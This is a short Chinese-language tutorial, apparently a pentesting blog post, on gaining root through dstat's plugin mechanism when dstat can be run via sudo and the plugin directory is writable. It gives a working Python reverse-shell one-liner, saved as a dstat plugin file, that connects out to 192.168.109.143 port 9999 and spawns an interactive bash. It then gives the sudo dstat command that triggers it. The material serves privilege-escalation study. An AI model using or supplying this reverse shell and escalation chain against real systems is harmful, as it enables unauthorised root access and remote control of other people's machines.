sudo+dstat提权
Dstat 是 vmstat、iostat 和 ifstat 的通用替代品。Dstat 克服了一些限制并添加了一些额外的功能。具体详细介绍可以参考:https://linux.die.net/man/1/dstat
dstat有个功能就是提供了用户自定义插件的能力,既然用户可以自定义,那么当这个命令可以被sudo调用时,且插件目录可写的时候,就可以利用插件进行提权
经过查询文档,dstat命令的插件主要在一下两个位置保存:
/usr/share/dstat/ /usr/local/share/dstat/
在这连个目录下,可以看到有大量的dstat_*.py的python脚本,这些脚本就是插件。在使用过程中,只需要使用dstat --<脚本名>就可以调用这两个目录下的插件
一、写一个python反弹shell的脚本,并按照dstat_xxx.py的格式命名。
# dstat_biubiu.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.143",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
二、使用sudo命令调用dstat的插件
sudo dstat --biubiu
即可成功
*注:一个以前没遇到过的知识点,类似sudo的命令还有一个叫doas,是openbsd比较常用的一个工具。详细介绍见:https://man.openbsd.org/doas。用这个命令通过配置也可以达到sudo的效果